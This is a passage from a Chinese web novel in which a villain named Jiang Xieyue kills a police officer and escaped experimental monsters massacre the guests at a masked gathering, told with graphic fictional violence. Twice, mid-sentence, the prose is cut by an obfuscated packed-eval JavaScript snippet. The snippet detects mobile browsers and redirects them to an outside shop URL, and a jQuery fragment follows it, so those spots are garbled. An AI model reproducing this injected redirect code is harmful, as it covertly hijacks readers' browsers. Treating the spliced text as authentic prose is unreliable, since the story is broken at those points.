公冶再次观察四周,和邓烟雨一起戴上面具,朝紧闭的大门走去:“你给小雨吃退烧药没?” 阿澄:“吃了呢。” “她烧得更高了,你别喂错药了。” 邓烟雨站在他俩中间:“我自我感觉良好,挺亢奋的。” “亢奋?不会喂错药了吧。” 阿澄随口一说,公冶眼神顷刻变了。 “收收你那刀人的眼神,”阿澄委屈,“我发誓我没搞小动作,药还是夏琳给我的。” 夏琳长腿一支,倚在门边:“别赖我,我给的退烧药,柴桂退热颗粒,还有美林。” 阿澄:“你说盒子里的?好多都过期啦,我喂了胶囊,就胶囊没过期。” 夏琳蹙眉:“我这盒药是找飒飒要的,她的东西你别乱喂,好歹看看是什么胶囊。” 阿澄:“看了,退烧的呀,再说了柴桂和美林都是儿童退烧药,你给的都不够塞牙缝。” 夏琳:“那也比你的胶囊好!” 公冶没想“发动战争”,无奈地说:“不要吵了。”随后转动门把手。 “……” “嗯?” 公冶推了推门,两扇门的门缝间发出碰撞摩擦声,门体纹丝未动。 阿澄探身:“咋了?” “打不开,”公冶用力转着把手,说,“门锁住了。” 身后三人听到这话,呆了一下。 “你确定是锁住了不是卡住了?” “我确定。” 夏琳心觉不安,来到门前查看。 邓烟雨打破凝重的气氛:“最后一个进来的是谁?” “兔子。” “他锁门了?” “快,去他身上找找有没有钥匙。” 公冶拧着门锁:“不是他做的,门从外面锁住……” 吧嗒。 微不可察的一声拨动,从远处敞开的藏酒室传来。 藏酒室骤然变暗,有人关了灯。 下一秒,里面吹出悠扬的口哨,随着皮鞋声越来越近,曲调拖出极致的缱绻与柔和,是德彪西的《月光》。 他们屏息凝神,注视着密室里款步走出的男人,他手握一支驰臻,垂目仔细端详酒标,高大的身躯,酒红色西装,浅发细眸,眉钉性感。 夏琳僵住了。 他似乎准备小酌一番,吹着乐曲走到茶几前,随手搁下美酒,镇定自若地坐进沙发里,通身彰显贵族气韵。 “面具,都摘了吧。”江邂月观赏自己不戴任何饰品的手,命令道。 话音散去许久,阿澄先动作,扯掉面具,其余人这才配合地摘下。 “抱歉,没走正门,吓着你们了,不过你们也给了我惊喜,”江邂月一个个审视过去,冲邓烟雨优雅笑道,“可以帮我取两只勃艮第酒杯吗?” 没想到自己会这么倒霉,上来就被点名。邓烟雨看向他指的用餐区,架子上挂着几排水晶杯,有宽有窄。 “脖……脖跟弟?” “你不知道的话,”江邂月眼风一扫,笑意加深,“边上那位哥哥,你来告诉她。不许帮忙哦,让她自己来。” 公冶在另外三人都低头的时候,目光不冷不热,落在江邂月脸上,江邂月歪头朝他无辜地笑。 老鬼,真让人讨厌。 公冶握紧交叠的双手,说:“酒杯肚子最大的,挂在左边第一列。” 邓烟雨“喔”了一声,朴实地回答:“最胖的那个杯子?” “对。” 邓烟雨去了,拿了两只回来,放在江邂月面前。 拔出酒塞,江邂月给自己浅浅斟了一杯,焦糖色酒液十分诱人地轻晃,随之带出一片热带水果馥郁的香气,完美地锁在大肚杯里。 阿澄和公冶在他毫不知情品酒时,朝他身后的窗子瞥了一眼。 江邂月有条不紊尝完一口,表情甚是享受,身体往沙发靠背仰去,如扇的眼睫淡淡撩起。 流动的空气受到一股外力挤轧,几乎出现凝滞的诡异现象,凶悍冰冷的气息犹如暴雨倾盆砸下,剥夺体温,冻结血液,抽干氧气。阿澄,夏琳,包括邓烟雨三人毫无征兆双腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579313|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发软,一齐跪倒了。 房子在邓烟雨眼前吱嘎吱嘎变形扭曲,仿若有一首大提琴拉出的古典乐在耳畔鬼哭狼嚎,最难受的是胸腔,她需要呼吸需要呼吸。 他们冒着冷汗,趴在地上痛苦地喘息挣扎,每个人眼里空洞无光,脸上布满惊恐。 “哟,”江邂月收敛气息,眼中流露出赞许,“你居然撑住了。” 公冶没有去护任何一个人,也没有反击江邂月,他知道这是什么,就像个无关人士一样,动都没动,只是眼眶轻微地红了。 江邂月盯着他,缓缓笑了。 “公冶渡莲,应该叫你……公冶警官?” 江邂月起身,绕过邓烟雨,在沙发扶手上随意一坐:“歌华公安GS总部特发科一组组长,代号影青。听说你不久前和你家指挥官合力把张烬拉下马了,为了庆祝,特意来灯港七日游么?” 死寂蔓延。 阿澄艰难地出气,浑身瘫软,根本起不来,目光移去他们身上。 公冶和江邂月默然对视,并不答复。 “我不是责怪你啊,我也讨厌他,他披着羊皮坏事做尽,罪有应得。”江邂月表现出与公安统一战线的正义姿态,上前掸了掸公冶的肩膀,食指划过食姐儿留在他领口的联系方式,贴着衬衫不轻不重往下滑,仿佛在丈量他被火灼烧的伤口有多大。 “但我认为,只是卸职,这个惩罚太小了。” 江邂月咬字温柔清晰,且依旧在释放顶美独有的、可以杀死人的信息素。 太近了,阴森的压迫感一层层递进,像千斤重的土袋往胸口叠,那种体内都要撑爆开来的胀痛,逼得公冶瞳孔止不住发颤,连伤口也感知不出疼了。 “停下来。” 公冶拼命抵抗着江邂月肆无忌惮对他的“施压”,好不容易说出一句话,抬起自己的手,抓住江邂月。 翠色的眼睛对上浅绿色的眼睛,他语气透出恳求:“请您停下。” 他望向倒地的邓烟雨,声音里全是示弱之味:“拜托您。” “江先生,拜托您停下。” “她不是美食家。” 被夏琳搂在怀里的邓烟雨痛苦得缩成一团,嘴角和鼻腔流血了,白皙皮肤下的血管几欲暴裂,因为胃里空空,挤压之后只能吐出一些酸水。 “哦,她快炸了啊,”江邂月咧开唇,笑得满眼精光,有一种利欲熏心的光芒镀上了嘴角,“果然哥哥心疼妹妹。” 他甩开公冶的手,却在下一瞬反手狠狠捏住公冶渡莲的后颈,逼他抬头与自己对视。 怒意、恨意、杀意、轻蔑、不舍、哀痛。 全在他透彻的双目里。 “刚刚在心里骂我?” “讨厌我吗?” “你这眼睛,虽然颜色深了点,可和她……很像。” 公冶发现他在透过自己看另一个人,要后退,江邂月低吼:“想逃?当初就是这样,如今还对我避之不及,白霄给你了自由,我也没有要求你回来,你到底在怕什么……” 公冶露出震惊不解的目光,江邂月意识到自己失言,徐徐放开了他,整理着袖口转过去,投在邓烟雨身上的眼神犹如高位者在睥睨众生:“我说了,面具都摘了,自然包括眼睛上的。” 夏琳处于缺氧状态,撑着地,护在邓烟雨前面。 “对不起江先生,我们立刻……” 她让邓烟雨忍着点,把绿色美瞳摘了下来。 “过家家到此为止,”江邂月在另一只空杯里倒酒,“公冶警官,执行任务一晚上了,你渴吗,陪我喝一杯吧?” 酒杯举到了公冶面前。 公冶停顿一秒,接过了它。 “这是支好酒,由三位大师共同酿造,口感接近xo,价格也亲民,”江邂月晃着杯子,“可惜它知名度不高,多年来始终缺少一个赏识它的人。” 他与公冶隔空碰杯,眼尾勾着没有温度的热情:“知音难觅,希望这一口下肚,我们都将不能自拔地爱上它。” 江邂月喝了,而公冶尝试了很多次,无论如何也抬不起酒杯。 “纯饮很棒啊,真的不尝一口?” “您到底要什么,”他实在没心思和江邂月唱戏,“知道我是公美,所以想折磨我?” “折磨?那可谈不上,”江邂月笑了,看起来一点也不虚伪,“我只是想邀请你品酒,据我所知,你也是个酒徒。” 杯中酒香四溢,公冶举起杯子,当着江邂月的面,把它放下了,蒸发的果香傍着一束深紫鲜花,美不胜收。 “我不喝白兰地。” 江邂月静坐片刻,虚扣的酒塞被他重新抵进瓶口。 他淡薄一笑:“骗子。” “说谎的孩子要接受惩罚,尤其像你这种喊着狼来了的小孩,一开始就把大人耍得团团转,不让你大哭一场,还真难解我心头之恨。” 邓烟雨恢复了意识,手指动了动,阿澄努力撑起上半身,只见江邂月从西装内侧掏出一把枪,拉下撞锤,枪口对准邓烟雨的头。 “夏……琳……”阿澄叫着夏琳过来,可夏琳已吓得动弹不了。 那张优美无俦的面庞绽开了笑容,带着从未有过的恶毒,公冶刚要张口,江邂月食指贴唇,轻轻一嘘:“别说话,竖起耳朵听好,你妹妹接下来是怎么死的。” 61. 红鸽(修) 当年朝白衣军士开枪的画面像一根救命稻草,莫名闪过脑海,邓烟雨极力克制着内心的恐惧,把头抬起来。 黑洞洞的枪口透过她,瞄准了一个四岁的孩子。 江邂月扣动扳机。 砰! 子弹冲出枪膛,朝邓烟雨的眉心射去,夏琳虽然保持精神高度集中,判断出江邂月食指扣压的瞬间,但身体不适导致她反应迟了将近有半秒。 来不及了! 她咬牙转过背,扑住邓烟雨,也在此时一道黑影闪至她们身前。 子弹钻入躯体的声音沉闷有力,穿透在耳际,邓烟雨惧怕枪声,在夏琳怀里条件反射地战栗了一下。夏琳闻到了硝烟味,可身上并不痛,她和邓烟雨不安地扭头去看,怔怔出声:“阿澄……” 阿澄捂着擦伤的右眼,子弹残留的灼热感在皮肤周围迅速扩大。 他拖着半个能动的身子,挡在邓烟雨和夏琳前方,而在他前方,是公冶被打穿的手掌。 鲜血直流而下,公冶单膝跪地,垂落的手不由自主轻颤着,神经似乎出问题了。 中了一弹而已,手便废了,公冶惊愕自己的身体状况居然差成这样,忍着剧痛站到前面,挡住三人。江邂月不以为意,准备再来一枪。 “红鸽曾与政府协约,只要你们的双脚还站在古洛的领土上,就绝不伤害一个古洛公民。” 江邂月手上动作一停。 公冶堂堂正正直视着他,以一名警察的身份质问他:“理事是把国统约定当一纸空文,还是连白主席也不放在眼里了?” 江邂月无动于衷地掀起眼皮,阴沉沉的视线落在公冶身后。 那里挂着一幅画,他最爱的一幅,但那个人曾评价它为“哗众取宠的舞台上扮满了小丑”,就如同现在这样。 “主席年事已高,很早便退居幕后,有些承诺,他自己都忘了,”江邂月耐人寻味地笑了一声,收枪,“你调查得挺全面。” “是你把公安想得太简单了,”公冶藏在背后的手指向窗户,“我们从来没有停止过剿除你们的念头。” “哈……”江邂月执枪的手忽然撑住额头,莫名其妙发了笑,健硕的肩膀裹在昂贵西装下颤得紧致,“哈哈哈哈……” 阿澄带着她们,在公冶的遮挡下,十分缓慢地向窗口挪动。 “是么,从来没有停止过?”江邂月食指套着枪,玩似的转着,“可是好奇怪啊,如果公安想驱逐美食家,那到底是谁在年年雷打不动地为我们上贡?” “灯港为何走失了那么多女孩?” “这些年,她们失踪的失踪,横死的横死,寻人启事从崭新到泛黄,一张张快贴到公安大楼的门口了,可为何没有一个女孩回家?” “她们都去哪了,公冶警官,你能否满足我的好奇心给我一个答案?能否给那些苦苦等待孩子回家的父母一个合理的解释?” “你能吗?” 听着他伤感真诚的发问,公冶即便再愤怒,也一句话也说不出。 “灯港省公安厅厅长屠行英,是我和盛夺的老朋友了,每至夜深人静,他最爱在自家别墅的听音室里播放《奇异恩典》,我以为这首歌就代表了警方的本意呢,”江邂月扬开双臂,“你们殷勤而高贵的奉献精神,感化了今晚盛宴上每一个美食家,人类果然是最伟大的生物。” 公冶并未从他高声的赞美中获得共鸣,向前一步:“我警告你,不许侮辱任何一名公安干警。” “那我也奉劝你,收拾我之前,先把窝里的虫子杀干净,”江邂月看着他义愤的神情,低头发出轻笑,“你真是个善良的人,和你母亲一样。” 公冶听他无端提起清绝,思绪略微一顿,江邂月等的就是这一刻,举枪对准他身后的三人射击,电光石火间,公冶比他快了一瞬,摁住他扣扳机的手:“趴下!” 江邂月一惊。 砰砰砰! 子弹连续射穿窗户,阿澄旋即一拳捶碎玻璃,寒风势不可挡灌进来,吹得邓烟雨手脚完全麻了,阿澄用身背抵挡着后方:“快走!” 夏琳抱着邓烟雨跃出窗,邓烟雨冻红的手扶住窗框,抬头望向公冶,瞳孔骤然一缩。 阿澄也回了头,眼前的一幕使他大脑空白。 江邂月的右手被公冶拧断了,枪掉在地毯上,可诡异的是,他脸上带着近乎狂喜的色彩。 邓烟雨死死盯着他的左手,江邂月为了让他们看清楚,换了个角度,左手再是一用力—— 一把镶着宝石的装饰金匕首,正刺在公冶的心脏上。 “渡莲,”江邂月念出这两个字,低笑,“她喜欢彭雪山的诗,所以给你取了这个名字。” “我有好多话想和你说,你这个人啊,就是习惯把自己的安危置之度外,过分奢求保护一个人只会适得其反,到头来,你连你自己也拯救不了。”江邂月手指一推,刀往公冶的胸膛再进了寸许。 “你不想听听你母亲的故事吗,她离开你那么多年。” 公冶视野模糊,嘴角渗血,一步步靠向墙壁,顶级美食家慑人的气息压得他无力反抗。 他感受着体力的流失,冷冷笑了声:“你只会,这些吗?” 江邂月皱眉。 公冶冷汗直流,徒劳地扯着江邂月的衣袖。 他去看江邂月,满眼都在可怜他:“你就算说了,我也不会……在意。” “……” “……不会在意?” “是吗?你不会在意?”江邂月脸上扯出笑,“可我还是要和你说啊,我非常仰慕你母亲,她是我的恩师,是我唯一值得尊敬的人,没有她,我可能还在病墟捡流浪汉的肉渣吃。” “是她给了我命。” 邓烟雨要跑回去,凄厉大叫着,被夏琳和阿澄按住。 “结果呢,她爱上了人类,为了那个软弱的男人,背叛组织,背叛我,所以老天立即惩罚了她,她失去了公冶静思,这是报应。” 刀刃颤着寒光,不疾不徐向着那颗温热跳动的心脏深入。 “她干的最蠢的事,就是生了你。” 公冶放大的瞳仁里,是他充满笑意的脸。 “为何这么看我?疼吗?对了,忘了告诉你,你父亲……” 公冶突然攥紧他,一字一顿,全是恨:“我父亲,也是这么死的?” “被你们,害死的?” 江邂月看着他,静默片刻,说:“他被自己亲手救下的人质害死了。” “那人质有问题。” 说完轻笑:“给了你一个和你父亲一样的死法,感恩戴德吧。” 听到这个答案,公冶的手渐渐松开了:“是……吗……” “他是……烈士,可没有人……记得他……就因为他死得不明……不白,说他和杀人犯……同流合污……” 他一点点支撑不住,江邂月就这么观望着,薄唇轻抿。 “他们都不跟我说……” “都不让我……知道……” 身体好轻。 痛楚都消失殆尽了,有一股舒缓的河水正冲刷着他伤痕累累的滚烫的恨意。 ——原来心脏停止是这种感觉。 可是,不想就这么死了。 好不容易知道了,知道了父亲的死因。 我不能就这么—— 邓烟雨在哭喊,在他失焦的目光里哭喊。他扯住江邂月的手松脱,人也顺着墙壁滑了下去,睡着一般闭上了眼。 他混沌的记忆里翻满往事,可有关父亲的,哪怕一个背影都没有,他只能想起墓碑上那张照片。他对父亲的记忆,只有那张照片。 江邂月伸出去抓他的手还僵在半空中。 他收回了手,活动了几下,嗤笑:“看吧,你还是在意我说的话的。” 仿佛一下子失去心爱的玩具,江邂月表情空虚,俯身,拔出他体内的刀,擦拭干净,若无其事地放回金盘里。 “公冶警官!!” 邓烟雨翻窗进去,重重摔了一跤,她爬起来,飞快跑到公冶身边,满面通红流着泪,碰了碰他:“公冶警官!不要……不要!!” 真的死了。 死了。 邓烟雨不愿相信地摇头,心脏痛得裂开,趴在他身上嚎啕大哭,哭得江邂月不胜其烦,刚要捡枪给她脑袋上补一发,发现枪不见了。 一转头,阿澄砰砰好几枪打爆了门锁,反手把空枪砸去江邂月脸上。 阿澄吼道:“夏琳带她走!!” 夏琳拽起邓烟雨,朝大门狂奔,没跑出几步,阿澄就从身后飞来,撞得五脏六腑都移位了。 江邂月阴沉着脸迈过来。 “快走啊!”阿澄吐着血嘶吼。 夏琳刚要踹门出去,被江邂月的大手一把掐住脖子,提了起来。阿澄腹部血流如注,眼睁睁望着夏琳快被掐死。 掐住自己的那只手收紧了力道,夏琳喉咙里泄出气音,痛苦地敲打,脖子里快要传出断裂声—— 哧! 江邂月迟疑了一刻,扔开夏琳,继而去瞥自己颈部,一只苍白的小手紧紧握着银叉,叉子尖端已狠狠扎进他颈侧的大动脉。 邓烟雨双眸空洞,整张脸白得吓人,手背上青筋鲜明,江邂月喷溅出来的血流到她手上,滴到她的眼角下,她都没能察觉。 这个叉子原本放在餐桌上,她什么时候拿的? 想起来了,刚才——他叫她去拿酒杯。 邓烟雨要彻底拔出叉子,江邂月猛然攥住她手腕,不准她拔。 力气好大,手要断了! 邓烟雨疼得嘴唇咬出血,就算被他捏断骨头,她也要把叉子拔出来。忽听身后大门破开,一抹金光擦着她发丝似箭飞过,当场削断了江邂月的手。 江邂月的左手和金匕首双双掉地,邓烟雨立马拔出叉子! 大动脉的血疯狂喷射而出! 阿澄强撑着意识,视线从空荡荡的金盘上移开,望了一眼公冶,护着夏琳和邓烟雨往门外冲:“往前跑别管我——” 夏琳一回头,就看见阿澄吃了一记重踹,整个人散架了似的飞出去,走廊窗户被撞得凶猛一震,过了好久仍隐隐发抖。阿澄虚脱地跪倒在地,浑身是血,四肢、胸腔、肋骨,都碎裂了。 吃不消了,怎么还不打死我。 “快……走……” 鲜血覆了一脸,阿澄努力睁开眼,对夏琳说。 夏琳眼眶泛出热意,拉着邓烟雨往前不停飞奔,一头撞上个陌生的胸膛。 “哎呀,这是干嘛,这是在搞哪出啊!” 她们抬头,入眼是万斯惊恐万状的脸,他显然很懵圈,指着江邂月唰唰流血的脖颈和唰唰流血的手腕:“邂月,邂月你要死啊?!你在干什么呀?!” 江邂月一脚踩在阿澄身上,抬起断腕,随性地抹了抹脖子:“没事。” “我的亲娘吔……”万斯觉得邓烟雨的脸和之前有点不同了,但说不出是哪里不同,他扫视遍地狼藉,一眼看到里面靠墙的公冶,手指头抽了癫地朝江邂月一个劲摇,“疯子!喝昏头啦?!我的两个宝贝让你糟蹋成这样!” “对不起,”江邂月微微一笑,“我今天必须得搞死你的两个宝贝。” “啊……啊?”万斯手足无措,目送夏琳带着邓烟雨逃了,他也不追,傻愣在原地,“不是,发生什么了,为什么会变成这样……” “江先生。”兔子似乎被吵醒了,捂着后脑勺跑出来,一脸惭愧。 “哟,你醒了啊。”江邂月拧断的手已恢复,他找到了枪,重新填装子弹。 “对不起江先生,是我、是我疏忽了,您给我个将功补过的机会,我马上去抓她们……我马上……” “不必了,你也辛苦了,看见墙边上那个家伙了吗?” 兔子看向公冶,说:“额,看见了……” 紧接着,砰的一声!他脑门中了一枪。 万斯大惊失色地后退,也可能是被吓的。 地上的兔子抽搐着,尚未死绝,江邂月继续朝他开枪,砰!砰!砰!砰!枪声震耳欲聋,高温与火焰交融,炸出一首暴力而优美的狂想曲,江邂月一边射击一边聆听这美妙的鼓点,眼中瘾光四溅,勾起唇角。 子弹打没了,江邂月从兜里摸出一夹,填满弹巢,再次朝兔子千疮百孔的尸体发了疯地扫射。 “邂…… “邂月……” “那个啥,你……你心情是不是……不大好啊?” 万斯活了大半辈子没见过这么鞭尸的,呆若木鸡揪着落地窗帘的一角,骂都不敢骂他了,咕嘟咽了口唾沫:“月啊,那个,你颈动脉在放血啊,鸡脖子都没你能放那么多血啊……你这样下去要体力透支的……” “多谢关心,我一切无碍,万斯先生。” 枪口烫得冒烟,江邂月垂下手,畅快地呼气,看也不看地上那坨马蜂窝。 “你的小宝贝跑了,你不追吗?” “还追啥呀,底下出大事了,老盛让我来跟你知会一声,”万斯伸长脖子心疼地瞅瞅垂首不动的公冶,“哎哟喂,死透了啊,我说你真是的,我还想把他做成预制菜来着,你有啥血海深仇,说杀就杀……” “神经,做成预制菜有什么好吃的,”江邂月扔掉空枪,濡血的睫毛下闪着绿盈盈的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579314|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,吓得万斯裤|裆一紧,“你说底下出事,什么事?” “都跑出来了!”万斯哇哇大叫,“那群怪物!怪物!全跑出来了!” “烟雨,快……” 电梯一直卡在底层,夏琳牵着邓烟雨的手,走旋转楼梯下去。 吊顶水晶灯照耀着一座华丽的螺旋巨物,此刻楼梯空旷得宛如保存完好的历史遗物,不存在任何人踏足。 下到三楼,夏琳忽然止步,邓烟雨浑浑噩噩撞在了她背后。 有骚动,不,是暴|乱,脚步声很多很密集,要来了,快逼近了。 敏锐的直觉让夏琳产生强烈的抗拒心理,她攀着栏杆偷偷望下去,一切就发生在宽阔的一楼,仿佛煮沸的肉汤揭开了锅,蒸气混合着肉香喷出来,喷到她们眼皮底下—— 楼梯下方形同地狱,残肢乱飞,尖叫哭吼翻天覆地,乌泱乌泱的人群像参加一场大型逃杀游戏,一名漂亮的妇人被绿眼怪物压在巍峨的石柱上,承受着它各种欲望交织的残暴侵袭,她哭叫着我是美食家,我是珍美,身份高贵!你不可以吃我!你怎么能吃我啊啊!! 怪物抓瞎了她的眼睛,撕烂了她的衣服,锋利的獠牙啃伤了她,其他怪物嗅到新鲜血味,争先恐后扑来,妇人毁容了,怒吼里只剩浓重歹毒的怨气,两行血泪从眼眶流出,在它们的抢夺下分崩离析。 夏琳惊惶地捂住嘴:“为什么……试验品都放出来了……” 枪声四起,无数人在开火,怪物被扫成筛子,依旧没死,它们是爆发了杀意的行尸走肉,事先商量好一般集体压倒开枪的男子,狂躁撕咬起来。 “不!不要!江爷在哪?!我是十大姓的后裔!我不能死,我不能呜呃,不啊啊啊啊啊——” “谁……谁来救我……”一个断腿的美食家涕泗横流,在血泊里爬行,被慢慢走来的怪物抓住另一条腿,重新拖回黑暗里。 这是历史性的时刻,养尊处优的客人们在厉声惨叫,女人提着繁复沉重的裙子跌跌撞撞逃亡,西装革履的男人被吃掉半颗头,插在一座石雕宝剑上死得惨无人道,假面,酒水,鲜花,尊严,辉煌而盛大地倾泻一地,一头头怪物嗜血成性地扑上来,永无止境的咆哮响彻四面八方,其中夹杂类似欢呼雀跃的高喝,这群怪物,像极了当初角斗场上大吼着“吃了她!吃了她!”的看客们…… 他们的地位,颠覆了。 邓烟雨呆立着,以居高临下的姿态俯视“侵略一方”的一败涂地,这个恐怖的场面让她记起了《百年孤独》里那场惊悚的机枪扫射,魔幻震撼的文字竟然与现实严丝合缝地吻合上了。 “无差别攻击?谁给的指令,蝴蝶不是死了吗!” 夏琳喃喃自语,崩溃地挠乱了头发,怪物来势迅猛,踩着客人的尸体哗哗涌上二楼,正沿着通往三楼的旋转楼梯向上进发,夏琳和邓烟雨退向走廊。 邓烟雨握住夏琳的手:“夏琳姐,不要怕,已经没什么好怕的了。” 夏琳带着泪痕的脸尤为憔悴,她和邓烟雨对视,逐渐平静下来。 是啊,已经没什么好怕的了。 小八,阿澄,都已经不在了。 但她们绝不能放弃,要冲出去,要活下来——活着就有报仇的希望。 夏琳重燃斗志,她要给阿澄报仇! 随着一声不属于人类的吼叫出现,一只身高两米的怪物绽开尖牙血盆,向她大步杀来,笨重的冲刺声震击地面。夏琳待怪物喷着唾沫冲至眼前,一腿把这个无脑的大高个暴踹到墙上! 怪物眼珠吊起,瘫软着倒下,墙壁撞击的地方凹出个皲裂的洞。 邓烟雨惊讶地瞪大眼。 “我父亲曾教过我格斗,”夏琳的体力已恢复如初,她利落收腿,面容无比沉着,“躲好。” 越来越多的怪物往三楼走廊聚积,夏琳带邓烟雨向窗边撤退,浸着夜色的玻璃溅上一轮又一轮的血,窗帘也变得血淋淋,怪物们虽在缩小包围圈,但也有些不敢靠近,双方激斗之际,旁边的大门打开了。 “吵不吵啊你们?大晚上的啊——!天呐什么鬼东西呃啊啊啊——!” 怪物一口咬住食姐的脸,食姐痛得尖叫乱撞,随即扑来三只,压住食姐歇斯底里地啃咬,一时间满地血肉横飞。 屋子里的食姐儿凄声哭叫着,被怪物一一拖出来。 邓烟雨和夏琳瞅准时机逃跑,刚要开窗,就围来一群怪物,不让她们靠近窗户的位置,绿眼渗着阴光,骨碌碌转动。 “它们很聪明……”夏琳喘着气,“看来顾令萍的实验成功了……” “顾令萍?” “GS独玉分所的院长,”夏琳擦着嘴角,说,“小八既然是警察,应该认识她。” 独玉?邓烟雨眼眸一凛。 “蹲下!” 邓烟雨闪身躲过怪物的袭击,夏琳即在后方,扫起一腿踹飞了它,又用胳膊肘干昏了一只,视线锁定在敞开的大门那,怪物趁她分心,群起攻之,夏琳被撞得咳出血,一把扯下窗帘罩住它们的头,随即揽起邓烟雨的腰,手一甩,把邓烟雨甩进那个黑洞洞的、空无一人的房间。 她关上门,抵御在门口,急切往里逃的食姐儿凶狠地打着夏琳:“开门!快开门!!你挡着干什么!不要,它们要吃我,不——” “烟雨!!想办法逃!!!” 邓烟雨摔得眼冒金星,听见门外夏琳的喊声,爬到门边:“夏琳姐……”她焦急地捶打着门,溢出哭腔,“不行,我一个人不行的!” 她把手放到门把上。 “不许开门!!!” 夏琳嘶哑变调的吼声惊醒了邓烟雨。 无休无止的杀戮隔在门的那头,分不清到底是谁在哭嚎,邓烟雨很快找不出夏琳的声音了,她满心绝望:“夏琳姐!” “我一个人怎么逃出去!没有你,我该怎么办……” “没有你们,我该……怎么办……” 门外撕咬声淡去,远去,直到听不见,邓烟雨再也没有可供失去的了,膝盖一软,瘫坐在地上。 只剩她一个人了。 黑暗包裹着她,高烧折磨得身躯沉痛,她抱住了头,胸腔剧烈起伏。 留声机在放古典乐,女高音给予无限的治愈与救赎,照亮她身处的这片“宁谧废墟”。邓烟雨如受歌声鼓舞,润了润干涩的嘴唇,撑着膝盖站起来。 嘭! 大门轰出巨响,是它们回来了。 邓烟雨本能地反锁房门。 嘭! 嘭!! 门体在遭受如攻城槌砸城门一般,史无前例的巨大撞击。 怪物要冲进来了! 62. 狙击 邓烟雨环顾四周,门口置物柜的抽屉半开着,东西被翻乱,其中一本夹着战术防身笔的红手册醒目地掉在地上。 她捡了起来,然后使劲推倒柜子和落地架堵住门,转头跑向里面的卧房。 屋内未开灯,床头点着助眠香薰,邓烟雨下意识放轻呼吸,没等适应这片昏暗的环境,外面蓦然响起沉闷的金属坠地声。 她回头,见金属把手弹落在地,已然变形。双开软包大门被捅破,从裂缝里伸进无数只血手,企图抓住什么而扭动着,锋利的指甲胡乱抓挠着柜子。 糟了…… 她紧张得心脏一抽,锁上卧房,顾不得找东西抵门,急匆匆跑去开窗。 窗户没装限位器,可以全部拉开,冷透的大风刮了一夜,天色暗无边际,邓烟雨失神地望着,悲伤的情绪一股脑疯涌上来,眼眶漫出热气。 就在那一刹,她觉得自己有足够的理由选择放弃,比起逃出去,回到公冶身边显然更容易。 可她终究做不到。 今晚发生的事情,见过的人,她一个都没忘记——飞行棋女孩,温茉,戴蝴蝶面具的拍卖师,盛夺,万斯,江邂月,以及拼死保护她的阿澄和夏琳,每个人都历历在目,他们头破血流的样子,顽强抵抗到最后一刻的样子,都在抹杀她心中另一个胆小的邓烟雨,逼着她往前走。 …… “想办法逃!!!” …… 邓烟雨哭湿的睫毛一颤,长发微蓬地吹舞起来,搅乱夜色。 公冶警官,对不起,把你一个人留在那对不起!但是我…… 我不能回去找你。 柜子和落地架快要撞散,邓烟雨鼻尖冻得泛红,抹掉眼泪,深呼吸一口气。 这幢大楼的层高超出标准高度,即便位处三楼,绑绳子跳下去仍有风险,而且眼下也没多余的时间给她撕床单。邓烟雨发现二楼和大教堂之间连着空中玻璃长廊,长廊屋顶离三楼有一定距离但不算危险,她可以跳到屋顶上逃走。 问题是长廊在斜前方,如何过去。 窗户下面有一条凸出的横梁,宽度略窄,她翻出窗户,身体紧贴外墙,踮着脚后跟,手指抠着砖缝,一点点往左挪动,走到一半风势陡然变猛,邓烟雨差点一脚踏空,她有些轻度失温,好在大脑异常清醒,咬牙坚持着。 嘭! 卧房门被撞响,这扇门不比双开软包门厚实,木板正发出脆弱的、难以支撑的碎裂声。 它们太快了。 不能再犹豫了!邓烟雨突破心理上的防线,把步伐迈大,打起十二分精神注意着脚底,连手心擦破皮也未曾察觉。这条装饰横梁围了建筑一圈,她贴墙转了个九十度直角的弯,继续稳步匀速前行,再向外转弯,来到空中连廊上方半丈高的位置,那里正好有扇窗,邓烟雨碎步靠近,窗上飙满的血和里面横七竖八的尸体吓得她眼前一黑,颤着小腿跪在了陡峭狭窄的横梁上。 没事的,没事的,最后一步了。 她睁开眼,鼓足勇气纵身一跳,房门在同一时刻被怪物撞开! 邓烟雨摔在坚硬的平面屋顶上,膝盖磕破渗血,她精疲力尽,肘关节抖得撑不起身体。 快起来! 双腿冻得没知觉,邓烟雨奋力捶打自己僵硬的大腿,捶出一块块红印子,总算瘸着腿站了起来,卧房的窗户爆开一记惊响,玻璃碎裂成渣掉进风里,怪物拥挤在窗口,臂膀乱挥,发出恶鬼索命般的可怕吼叫。 它们绿光迸溅的眼睛牢牢咬住邓烟雨,带头一只冲出窗户摔了下去,之后的怪物利用爪子钩着外墙,像擅长爬墙的毒蜘蛛一样咻咻匍匐而来。 邓烟雨已经无法将它们和“人”联系在一起了。她心急如焚,拖着伤腿一瘸一拐往前逃,很快,她仿佛忘记了疼痛,迈开双腿大步大步奔跑起来。 月色消失了,百米长的廊顶上没有任何障碍物,邓烟雨逆着猛烈的冬风向大教堂全力冲刺,怪物们犹如飞艇空投的大礼包,纷纷从高处摔下屋顶,叠成一座蠢蠢蠕动的活尸山,它们朝邓烟雨伸手,踩着同伴的脸,手脚扒地爬出来,一只只像爆发的丧尸群锁定邓烟雨拔腿狂追。 八十米! 七十米! ……五十米!!一半了!!不要停!!跑!! 